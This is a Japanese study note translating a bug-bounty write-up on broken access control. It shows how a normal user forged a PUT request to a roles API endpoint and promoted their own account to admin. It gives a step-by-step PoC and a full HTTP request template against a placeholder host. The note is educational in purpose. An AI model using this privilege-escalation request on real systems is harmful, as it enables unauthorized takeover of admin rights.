「\Privilege escalation allow user to promote self as admin」からBroken Access Controlを学ぶ

ソース:

medium.com

 

脆弱性:Broken Access Control

 

訳:

ここでは、リクエストを偽造することで自分自身を管理者として昇格させることができ。

詳細: ユーザーアカウントにログインして、URL でユーザー編集エンドポイントにアクセスしようとしましたが、管理者ではないため許可されず。
それで私はリクエストを偽造して、管理者のみに許可されたアクションを実行しようとしました//説明を偽造しまふ。

  • ユーザーを降格させようとしましたが、403 になりました
  • 同じ403ユーザーを削除しようとしました
  • ユーザーを招待しようとしましたが、まだ同じ 403

ユーザーの詳細を編集するオプションがあるため、そのリクエストを偽造することで他のユーザーの詳細を変更することはできませんが、それでも詳細を変更できるバグがあるため、一時停止して、エンドポイントからのみ詳細を変更できるかどうかを考えました。
管理者として承認されている場合、自分を管理者として宣伝できる可能性があります。

 

ユーザーアカウントから、自分を管理者として宣伝できるリクエストを作成して送信すると、200 を取得して自分を宣伝できるようになりました

 

#POC

attack senario

step1: user login in into to there account

step2: now user need to intercept any request to get the cookie and csrf token

step3: now user need to send that request to repeater and need forge the request as

 

PUT /v1/myaccountapi/billing/customers/users/our-user-id/roles HTTP/2
Host: app.example.com
Cookie: cookie*********
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.example.com/pages/myaccount/settings/account
Content-Type: application/json;charset=utf-8
X-Csrf-Token: csrf-token
Content-Length: 3
Origin:https://app.example.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Connection: close

[role-id]

 

リピーターユーザーでは、自分自身のユーザー ID、CookieCSRF トークン、ロール ID を置き換えるだけで済みます

ここでは管理者ロールの ID は 2 で。

 

 

step4: once forge request is ready user just need to send the request and user is promote to admin

 

攻撃前

 

 

New Userを追加が出来るようなって

 

 

 

ほなほな。